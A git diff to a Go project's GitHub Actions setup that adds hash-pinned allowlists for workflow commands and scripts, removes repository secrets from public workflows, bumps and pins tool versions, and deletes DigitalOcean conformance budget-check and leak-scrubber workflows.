"7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed gh statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "gh", + "statementSHA256": "8bbb8822dafcc8a4a474181388e469a27b984cac98a83fb785edb5f7a9c114f6", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed gh statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "git", + "statementSHA256": "8a8dea32ba85ab1140409e072bba02f7ffe5e2499bd98785e9d9787a36a2c016", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed git statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "git", + "statementSHA256": "fa57beadffd02d8f90409c161a2d5efc056b0c9cff3e07809dbd8a5d306e1d1a", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed git statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "go", + "statementSHA256": "67937fa1d645693a707c385521c305c3719d3e75c405d2f8c00a56b7e8cf4382", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed go statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "go", + "statementSHA256": "b0f5fa4c98b54e86ea91fe315062cb2273baf3d96c84b0ca421cbcc70b535190", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed go statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "go", + "statementSHA256": "b859368337e6cc218a04f48861a1e1d439e0bb3d590849b7cfc2d50af021b652", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed go statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "jq", + "statementSHA256": "b0f5fa4c98b54e86ea91fe315062cb2273baf3d96c84b0ca421cbcc70b535190", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed jq statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "ko", + "statementSHA256": "33262c9f58255699a2419fc78e1802c1cbeb1589608fe06a55dbf7456bc8437c", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed ko statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "ko", + "statementSHA256": "5592792ba7e133e2a3cdca3f2787ba447d78b61259cd4cb2aeaf18becdf4fe5e", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed ko statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "mkdir", + "statementSHA256": "4836713ba787e4300751fff29bba230abdbcfb5ffc09f9048e4280fce2776d34", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed mkdir statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "mkdir", + "statementSHA256": "77bf368130272f2edad3a189e7afddcc44e1b018ab2b03650a5f6caac407d1fd", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed mkdir statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "npm", + "statementSHA256": "1da8bf23d2c0684c704bbca52edd911233fb4bb267f1118d5b94915af4ce2757", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed npm statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "npm", + "statementSHA256": "92f0ca32bddd727ae2912374c0aec5686041a0966972274686cf8a013a89b1a3", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed npm statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "npm", + "statementSHA256": "a5d465c4e2ee847c72636e28cc99a01aae9637d3db013955089c34dc169e4957", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed npm statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "sed", + "statementSHA256": "4705b0268e9852bcf226eea3597ce7ffc81968a8ffffa3054d7ad34d619f9f15", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed sed statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "set", + "statementSHA256": "95a072144179105d838904c6e40336e6ae7f60851442039c0a7ac26ad9654cd2", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed set statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "sha256sum", + "statementSHA256": "4705b0268e9852bcf226eea3597ce7ffc81968a8ffffa3054d7ad34d619f9f15", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed sha256sum statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "tar", + "statementSHA256": "3d8d76c731d22b26f8ac9538b57e8cafc59008e587135b905d842a7330733191", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed tar statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "tr", + "statementSHA256": "c7bfd710ace4bd365c9a0c50b998697c0a530186c23a735c1924371fb65e1745", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed tr statement for release.yml automation." + } +] diff --git a/.github/public-workflow-executable-allowlist.json b/.github/public-workflow-executable-allowlist.json new file mode 100644 index 000000000..70b7492c7 --- /dev/null +++ b/.github/public-workflow-executable-allowlist.json @@ -0,0 +1,34 @@ +[ + { + "path": "scripts/audit-cloud-symbols.sh", + "workflowPath": ".github/workflows/ci.yml", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "sha256": "9dcdd09230bd42059cd65daf4acf0d4974d648b13ad126cfacfff2ebbf20816e", + "rationale": "Runs the credential-free core cloud-SDK boundary audit." + }, + { + "path": "scripts/check-public-workflow-policy.sh", + "workflowPath": ".github/workflows/ci.yml", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "sha256": "166d4c7f272b6e249abd5bd2efadb8034105cf62df3cff2200978c6e9fb6998c", + "rationale": "Enforces the credential-free public workflow boundary in CI." + }, + { + "path": "scripts/check-public-workflow-policy.sh", + "workflowPath": ".github/workflows/public-workflow-policy.yml", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "sha256": "166d4c7f272b6e249abd5bd2efadb8034105cf62df3cff2200978c6e9fb6998c", + "rationale": "Runs the trusted policy wrapper against inert candidate workflow data." + }, + { + "path": "scripts/test-check-public-workflow-policy.sh", + "workflowPath": ".github/workflows/ci.yml", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "sha256": "7d209bb35ff3a7a46b22f9a10a920eb30218c3403726d1dac72e0bffd1d914a4", + "rationale": "Exercises fail-closed public workflow policy mutations in CI." + } +] diff --git a/.github/public-workflow-presence-allowlist.json b/.github/public-workflow-presence-allowlist.json new file mode 100644 index 000000000..1c092b90a --- /dev/null +++ b/.github/public-workflow-presence-allowlist.json @@ -0,0 +1,108 @@ +[ + { + "path": ".github/workflows/benchmark.yml", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "presence": "present" + }, + { + "path": ".github/workflows/ci.yml", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "presence": "present" + }, + { + "path": ".github/workflows/codeql.yml", + "contextSHA256": "ff3bb78aaf12cc4448dafd9c7c9f5a43da36ec846ea4105ea8b77e41c39b0811", + "state": "active", + "presence": "present" + }, + { + "path": ".github/workflows/copilot-setup-steps.yml", + "contextSHA256": "9e4088e3a5fedcd03a34de005765a9bb768d26537e5da4be1d5754a3be492d1c", + "state": "active", + "presence": "present" + }, + { + "path": ".github/workflows/cross-plugin-build-test.yml", + "contextSHA256": "a27b51b12443ad48839aaee1f6175464ce7e774e86ced8071e6604a0e156c2b0", + "state": "active", + "presence": "present" + }, + { + "path": ".github/workflows/dependency-update.yml", + "contextSHA256": "4cc139c9e4ddeff0df1ded39f5edc58a07526ead081276ae50b4b21153897de9", + "state": "active", + "presence": "present" + }, + { + "path": ".github/workflows/helm-lint.yml", + "contextSHA256": "da77d154893ef019dc531722a42332d215ebed9f9cd758ec277cfc73f80d3ff1", + "state": "active", + "presence": "present" + }, + { + "path": ".github/workflows/osv-scanner.yml", + "contextSHA256": "8c7670a43ee04394873dc65d86c43851223cb0f10d03078e70e98573bee02c21", + "state": "active", + "presence": "present" + }, + { + "path": ".github/workflows/pre-release.yml", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "presence": "present" + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "presence": "present" + }, + { + "path": ".github/workflows/release.yml", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "presence": "present" + }, + { + "path": ".github/workflows/conformance-smoke.yml", + "state": "active", + "presence": "absent" + }, + { + "path": ".github/workflows/conformance-budget-check.yml", + "state": "active", + "presence": "absent" + }, + { + "path": ".github/workflows/conformance-leak-scrubber.yml", + "state": "active", + "presence": "absent" + }, + { + "path": ".github/conformance/cleanup.yaml", + "state": "active", + "presence": "absent" + }, + { + "path": ".github/workflows/scripts/file-or-comment-leak-issue.sh", + "state": "active", + "presence": "absent" + }, + { + "path": "docs/conformance-runbook.md", + "state": "active", + "presence": "absent" + }, + { + "path": ".github/workflows/test-dispatch.yml", + "state": "active", + "presence": "absent" + }, + { + "path": ".github/workflows/create-release.yml", + "state": "active", + "presence": "absent" + } +] diff --git a/.github/public-workflow-secret-allowlist.json b/.github/public-workflow-secret-allowlist.json new file mode 100644 index 000000000..fe51488c7 --- /dev/null +++ b/.github/public-workflow-secret-allowlist.json @@ -0,0 +1 @@ +[] diff --git a/.github/workflows/benchmark.yml b/.github/workflows/benchmark.yml index 594f4a414..55e58827a 100644 --- a/.github/workflows/benchmark.yml +++ b/.github/workflows/benchmark.yml @@ -8,12 +8,13 @@ on: permissions: contents: read - pull-requests: write packages: read +defaults: + run: + shell: bash + env: - GOPRIVATE: github.com/GoCodeAlone/* - GONOSUMCHECK: github.com/GoCodeAlone/* # See ci.yml for rationale. Force in-memory diffcache in CI per the # T3.5 rev3 lifecycle constraint. WFCTL_DIFFCACHE: ":memory:" @@ -34,7 +35,7 @@ jobs: - name: Set up Go uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 with: - go-version: '1.26.4' + go-version: '1.26.5' cache: false - name: Set up Node.js @@ -46,12 +47,12 @@ jobs: cache-dependency-path: ui/package-lock.json - name: Build UI assets - run: cd ui && npm ci && npm run build env: - NODE_AUTH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + NODE_AUTH_TOKEN: ${{ github.token }} + run: cd ui && npm ci && npm run build - name: Install benchstat - run: go install golang.org/x/perf/cmd/benchstat@latest + run: go install golang.org/x/perf/cmd/benchstat@v0.0.0-20260709024250-82a0b07e230d - name: Run benchmarks run: go test -bench=. -benchmem -count=6 -run=^$ -timeout=30m ./... | tee benchmark-results.txt @@ -78,7 +79,7 @@ jobs: # We look for lines containing a benchmark name (starts with Benchmark) # followed by a percentage increase >= 20%. regression=false - while IFS= read -r line; do + while read -r line; do if echo "$line" | grep -qP '^\s*(│\s+)?Benchmark.*\+\d+\.\d+%'; then pct=$(echo "$line" | grep -oP '\+\K\d+\.\d+(?=%)' | tail -1) if [ -n "$pct" ] && echo "$pct" | awk '{ exit ($1 < 20.0) }'; then diff --git a/.github/workflows/ci-wfctl.yml.example b/.github/workflows/ci-wfctl.yml.example index 8ee0368df..ceb7e361d 100644 --- a/.github/workflows/ci-wfctl.yml.example +++ b/.github/workflows/ci-wfctl.yml.example @@ -53,7 +53,7 @@ jobs: - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 with: - go-version: '1.26.4' # bumped from generated 1.22 to match repo standard + go-version: '1.26.5' # bumped from generated 1.22 to match repo standard - name: Install wfctl run: go install github.com/GoCodeAlone/workflow/cmd/wfctl@latest - name: Validate config @@ -81,7 +81,7 @@ jobs: # - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 # - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 # with: -# go-version: '1.26.4' +# go-version: '1.26.5' # - name: Build binary # run: | # GOOS=linux GOARCH=amd64 go build -o bin/server ./cmd/server/ diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index bd039604b..5233109b4 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -10,9 +10,11 @@ permissions: contents: read packages: read +defaults: + run: + shell: bash + env: - GOPRIVATE: github.com/GoCodeAlone/* - GONOSUMCHECK: github.com/GoCodeAlone/* # CI runners are ephemeral; the iac/diffcache filesystem cache would # cold-miss every job and waste a few ms on disk I/O. Force in-memory # mode per the T3.5 rev3 lifecycle constraint — no filesystem writes @@ -21,6 +23,24 @@ env: WFCTL_DIFFCACHE: ":memory:" jobs: + public-workflow-policy: + name: Public Workflow Policy + runs-on: ubuntu-latest + permissions: + contents: read + steps: + - name: Check out code + uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 + - name: Set up Go + uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 + with: + go-version: '1.26.5' + cache: false + - name: Enforce credential-free public workflow policy + run: ./scripts/check-public-workflow-policy.sh + - name: Exercise public workflow policy mutations + run: ./scripts/test-check-public-workflow-policy.sh + test: name: Test (Go ${{ matrix.go-version }}) runs-on: ubuntu-latest @@ -30,7 +50,7 @@ jobs: packages: read strategy: matrix: - go-version: ['1.26.4'] + go-version: ['1.26.5'] steps: - name: Check out code @@ -51,10 +71,10 @@ jobs: cache-dependency-path: ui/package-lock.json - name: Build UI assets + env: + NODE_AUTH_TOKEN: ${{ github.token }} run: | cd ui && npm ci && npm run build - env: - NODE_AUTH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - name: Download dependencies run: | @@ -65,23 +85,10 @@ jobs: run: | go test -v -race -coverprofile=coverage.out ./... - - name: Check Codecov token - id: codecov-token - if: always() - run: | - if [ -n "$CODECOV_TOKEN" ]; then - echo "available=true" >> "$GITHUB_OUTPUT" - else - echo "available=false" >> "$GITHUB_OUTPUT" - fi - env: - CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }} - - name: Upload coverage reports uses: codecov/codecov-action@75cd11691c0faa626561e295848008c8a7dddffe # v5.5.4 - if: always() && steps.codecov-token.outputs.available == 'true' + if: always() with: - token: ${{ secrets.CODECOV_TOKEN }} files: ./coverage.out fail_ci_if_error: false @@ -100,7 +107,7 @@ jobs: - name: Set up Go uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 with: - go-version: '1.26.4' + go-version: '1.26.5' cache: false - name: Set up Node.js @@ -112,10 +119,10 @@ jobs: cache-dependency-path: ui/package-lock.json - name: Build UI assets + env: + NODE_AUTH_TOKEN: ${{ github.token }} run: | cd ui && npm ci && npm run build - env: - NODE_AUTH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - name: Run golangci-lint uses: golangci/golangci-lint-action@82606bf257cbaff209d206a39f5134f0cfbfd2ee # v9.2.1 @@ -138,7 +145,7 @@ jobs: - name: Set up Go uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 with: - go-version: '1.26.4' + go-version: '1.26.5' cache: false - name: Set up Node.js @@ -150,10 +157,10 @@ jobs: cache-dependency-path: ui/package-lock.json - name: Build UI assets + env: + NODE_AUTH_TOKEN: ${{ github.token }} run: | cd ui && npm ci && npm run build - env: - NODE_AUTH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - name: Build server binary run: go build -v -o /dev/null ./cmd/server @@ -183,7 +190,7 @@ jobs: - name: Set up Go uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 with: - go-version: '1.26.4' + go-version: '1.26.5' cache: false - name: Build examples @@ -206,7 +213,7 @@ jobs: - name: Set up Go uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 with: - go-version: '1.26.4' + go-version: '1.26.5' cache: false - name: Run golangci-lint on examples @@ -227,12 +234,12 @@ jobs: - name: Check out code uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 with: - token: ${{ secrets.GITHUB_TOKEN }} + token: ${{ github.token }} - name: Set up Go uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 with: - go-version: '1.26.4' + go-version: '1.26.5' cache: false - name: Run go mod tidy (workflow) @@ -266,10 +273,6 @@ jobs: permissions: contents: read packages: read - defaults: - run: - working-directory: ui - steps: - name: Check out code uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 @@ -283,15 +286,15 @@ jobs: cache-dependency-path: ui/package-lock.json - name: Install dependencies - run: npm ci env: - NODE_AUTH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + NODE_AUTH_TOKEN: ${{ github.token }} + run: cd ui && npm ci - name: Lint - run: npm run lint + run: cd ui && npm run lint - name: Unit tests - run: npm test -- --run + run: cd ui && npm test -- --run # Validate all example workflow configs at three levels: # 1. YAML parsing (can it be loaded?) @@ -312,7 +315,7 @@ jobs: - name: Set up Go uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 with: - go-version: '1.26.4' + go-version: '1.26.5' cache: false - name: Set up Node.js @@ -324,10 +327,10 @@ jobs: cache-dependency-path: ui/package-lock.json - name: Build UI assets + env: + NODE_AUTH_TOKEN: ${{ github.token }} run: | cd ui && npm ci && npm run build - env: - NODE_AUTH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - name: YAML parsing — all configs loadable run: go test -v -run TestExampleConfigsLoad -timeout 60s . @@ -382,17 +385,12 @@ jobs: runs-on: ubuntu-latest steps: - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - - name: Grep gate — *.go files must not import godo - run: | - ! grep -rn --include="*.go" \ - --exclude-dir=_worktrees \ - --exclude-dir=.worktrees \ - --exclude-dir=.claude \ - --exclude="godo_absent_test.go" \ - "digitalocean/godo" . - - name: Grep gate — go.mod files must not list godo - run: | - ! grep -qH "digitalocean/godo" go.mod example/go.mod + - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 + with: + go-version-file: go.mod + cache: false + - name: Semantically reject godo imports and module declarations + run: go test -mod=readonly ./module -run '^TestNoDigitalOceanGodoReferences$' -count=1 cloud-sdk-audit: name: Cloud-SDK inventory + k8s-backend init() partition + asymmetric graph audit @@ -413,7 +411,7 @@ jobs: # - build graph: zero Azure/azure-sdk-for-go, zero google.golang.org/api, # zero cloud.google.com/go except compute/metadata (OAuth2 ADC helper # legitimately pulled by provider/gcp's service-account auth). - run: bash scripts/audit-cloud-symbols.sh --check + run: ./scripts/audit-cloud-symbols.sh --check - name: Standalone asymmetric gate — `go list -deps` (mirrors audit script) # Independent assertion of the same invariant for clarity in CI failure logs. # Any cloud.google.com/go path other than compute/metadata fails the build. @@ -436,7 +434,7 @@ jobs: || true) if [ -n "$UNEXPECTED" ]; then echo "FAIL: unexpected gcp/azure/api transitive deps in workflow-core build graph:" - while IFS= read -r dep; do + while read -r dep; do printf ' %s\n' "$dep" done <<< "$UNEXPECTED" echo diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml index 7a5dffe3f..92c30b262 100644 --- a/.github/workflows/codeql.yml +++ b/.github/workflows/codeql.yml @@ -11,11 +11,10 @@ on: permissions: contents: read actions: read - security-events: write -env: - GOPRIVATE: github.com/GoCodeAlone/* - GONOSUMCHECK: github.com/GoCodeAlone/* +defaults: + run: + shell: bash jobs: analyze: @@ -24,6 +23,7 @@ jobs: permissions: security-events: write contents: read + actions: read packages: read strategy: @@ -45,7 +45,7 @@ jobs: if: matrix.language == 'go' uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 with: - go-version: '1.26.4' + go-version: '1.26.5' cache: false - name: Set up Node.js @@ -59,9 +59,9 @@ jobs: - name: Build UI assets if: matrix.language == 'go' - run: cd ui && npm ci && npm run build env: - NODE_AUTH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + NODE_AUTH_TOKEN: ${{ github.token }} + run: cd ui && npm ci && npm run build - name: Initialize CodeQL uses: github/codeql-action/init@8aad20d150bbac5944a9f9d289da16a4b0d87c1e # v4.36.2 diff --git a/.github/workflows/conformance-budget-check.yml b/.github/workflows/conformance-budget-check.yml deleted file mode 100644 index a01900267..000000000 --- a/.github/workflows/conformance-budget-check.yml +++ /dev/null @@ -1,143 +0,0 @@ -name: Conformance Budget Check - -# Reusable kill-switch workflow. Smoke jobs in conformance-smoke.yml call -# this BEFORE provisioning any cloud resource so a runaway burn rate -# stops new PR jobs from compounding the spend. The cap is enforced -# against month-to-date usage on the dedicated wfctl-conformance@ -# DigitalOcean account (no production resources colocated). Approved -# 2026-05-03 by jon@langevin.me — see docs/conformance-runbook.md -# § "Budget approval" for the source-of-truth entry. - -on: - workflow_call: - secrets: - DO_CONFORMANCE_API_TOKEN: - description: > - Long-lived DO API token scoped to the wfctl-conformance account. - Rotated quarterly per docs/conformance-runbook.md § "Token rotation". - Stored in GitHub Actions repository secret. NEVER echo or log this - value — the script body references it via env block only. - required: true - -permissions: - contents: read - issues: write # for soft-alert auto-filed issue at $15/mo (T7.14 helper) - -# Per-PR-base-SHA cache keying collapses N smoke jobs/PR into 1 budget -# API call per hour. cancel-in-progress=true so a stacked PR series -# does not block on duplicate budget checks. The base-sha grouping -# matches the cache key so concurrency + cache cooperate cleanly. -concurrency: - group: budget-check-${{ github.event.pull_request.base.sha || github.sha }} - cancel-in-progress: true - -jobs: - check-budget: - name: Pre-flight budget check - runs-on: ubuntu-latest - steps: - - name: Check out workflow repo - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - - # Compute the hour-bucket as a step output so the cache step - # can reference it. Hourly TTL: same PR series re-checking - # within an hour reuses the cached balance result. - - name: Compute hour bucket - id: hour - run: echo "value=$(date -u +%Y%m%d%H)" >> "$GITHUB_OUTPUT" - - # actions/cache@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 does post-step write-back automatically: - # if cache-hit is false, the action records the path's contents - # at job-end and uploads under this key for the next run on the - # same key. No explicit upload-cache step is needed. - - name: Restore budget result cache - id: budget-cache - uses: actions/cache@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 - with: - key: budget-${{ github.event.pull_request.base.sha || github.sha }}-${{ steps.hour.outputs.value }} - path: /tmp/budget-result.json - - # Detect unconfigured secret BEFORE attempting the API call. - # On PRs from forks (and on the W-7 PR itself, before - # operators provision the wfctl-conformance@ token), the - # secret is unset. Treat that as "kill-switch not yet armed" - # and emit a notice instead of curl-401 failing the job. The - # downstream smoke job has `needs: [budget-check]` so it - # cascades to a no-op too — the safety property is preserved - # because no real cloud provisioning can run without the - # token. Operator action: provision the secret per - # docs/conformance-runbook.md § "Token rotation" to arm the - # kill-switch. - - name: Detect unconfigured budget kill-switch - id: gate - env: - DO_CONFORMANCE_API_TOKEN: ${{ secrets.DO_CONFORMANCE_API_TOKEN }} - run: | - set -euo pipefail - if [[ -z "${DO_CONFORMANCE_API_TOKEN}" ]]; then - echo "::notice title=Budget kill-switch unarmed::DO_CONFORMANCE_API_TOKEN secret not configured; skipping balance check. See docs/conformance-runbook.md § 'Token rotation' to arm the gate." - echo "armed=false" >> "$GITHUB_OUTPUT" - else - echo "armed=true" >> "$GITHUB_OUTPUT" - fi - - - name: Fetch DO month-to-date balance - if: steps.gate.outputs.armed == 'true' && steps.budget-cache.outputs.cache-hit != 'true' - env: - DO_CONFORMANCE_API_TOKEN: ${{ secrets.DO_CONFORMANCE_API_TOKEN }} - run: | - set -euo pipefail - # Token is referenced via env, never via echo / log. - curl --silent --show-error --fail \ - -H "Authorization: Bearer ${DO_CONFORMANCE_API_TOKEN}" \ - "https://api.digitalocean.com/v2/customers/my/balance" \ - > /tmp/budget-result.json - - - name: Enforce budget caps - if: steps.gate.outputs.armed == 'true' - env: - # Soft-alert path invokes the file-or-comment-leak-issue.sh - # helper which calls `gh issue list/create/comment`. Without - # GH_TOKEN, those calls fail and the promised dedup'd issue - # never lands. The hard-stop path is independent of GH_TOKEN - # (it only emits ::error and exits 1), but the env is set - # at step scope so both branches behave consistently. - GH_TOKEN: ${{ github.token }} - run: | - set -euo pipefail - SPEND=$(jq -r '.month_to_date_usage // "0"' /tmp/budget-result.json) - echo "month_to_date_usage=${SPEND}" >> "$GITHUB_STEP_SUMMARY" - - # Hard stop at $25/mo. Operators authorize raises by - # updating docs/conformance-runbook.md § "Budget approval" - # AND landing a follow-up PR that bumps the threshold here. - if awk "BEGIN { exit !(${SPEND} > 25) }"; then - echo "::error title=Budget exceeded::Conformance month-to-date \$${SPEND} > \$25 cap; aborting before any cloud provisioning" - exit 1 - fi - - # Soft alert at $15/mo (60% of cap). Files (or appends to) - # an auto-dedup issue via the T7.14 helper. Dedup logic in - # scripts/file-or-comment-leak-issue.sh. - # - # IMPORTANT: override PRIMARY_LABEL / HELPER_LABEL / ISSUE_TITLE - # so the budget alert files into the conformance-budget-incident - # swimlane (mirrors leak-scrubber's pattern at line 186-189 of - # conformance-leak-scrubber.yml). Without the override, the - # helper's defaults route the budget alert into the leak- - # incident dedup chain, mixing two unrelated operational - # workflows and breaking docs/conformance-runbook.md § - # "Operator interventions" (which document distinct triage - # paths per swimlane). - if awk "BEGIN { exit !(${SPEND} > 15) }"; then - echo "::warning title=Budget approaching cap::Conformance month-to-date \$${SPEND} > \$15 soft-alert (60% of \$25 cap)" - if [[ -x .github/workflows/scripts/file-or-comment-leak-issue.sh ]]; then - PRIMARY_LABEL=conformance-budget-incident \ - HELPER_LABEL=auto-filed-budget \ - ISSUE_TITLE="Conformance budget soft-alert: \$${SPEND} > \$15 (60% of \$25 cap)" \ - .github/workflows/scripts/file-or-comment-leak-issue.sh \ - "${SPEND}" "Spend approaching cap" - else - echo "::notice::T7.14 helper script not yet installed; skipping auto-issue file" - fi - fi diff --git a/.github/workflows/conformance-leak-scrubber.yml b/.github/workflows/conformance-leak-scrubber.yml deleted file mode 100644 index ef5361dd3..000000000 --- a/.github/workflows/conformance-leak-scrubber.yml +++ /dev/null @@ -1,225 +0,0 @@ -name: Conformance Leak Scrubber - -# Hourly safety net for conformance Droplets that escaped both the -# in-test t.Cleanup and the smoke-job's outer always() cleanup. Lists -# DO resources tagged conformance-pr-* older than 1 hour, deletes -# each, aggregates counts. If anything was scrubbed, files (or -# appends to) a dedup'd GitHub issue via -# scripts/file-or-comment-leak-issue.sh. -# -# Same job ALSO runs the budget-incident dedup: if month-to-date -# spend exceeds the $25/mo cap (recovery window after a soft-alert -# preceding hour), or if scrub events have fired more than 3 times -# today, files a separate dedup'd issue under the -# conformance-budget-incident label. -# -# Cadence: hourly cron + on-demand workflow_dispatch for operator -# manual triggers (e.g., after a budget calibration to clear stale -# state). The cron uses the standard `0 * * * *` pattern so the -# wall-clock TTL on conformance-pr-* tags lines up with the leak -# detection threshold. - -on: - schedule: - # Top of every hour, UTC. Fires regardless of branch state. - - cron: '0 * * * *' - workflow_dispatch: - -permissions: - contents: read - issues: write # required by the dedup helper to file/comment - -# Single concurrent scrubber: stacked cron + manual dispatches must -# not double-delete or double-file. -concurrency: - group: conformance-leak-scrubber - cancel-in-progress: false - -jobs: - scrub: - name: Hourly DO leak scrub - runs-on: ubuntu-latest - env: - DO_CONFORMANCE_API_TOKEN: ${{ secrets.DO_CONFORMANCE_API_TOKEN }} - AGE_THRESHOLD_SECONDS: 3600 # 1 hour — matches the smoke job's expected lifetime - 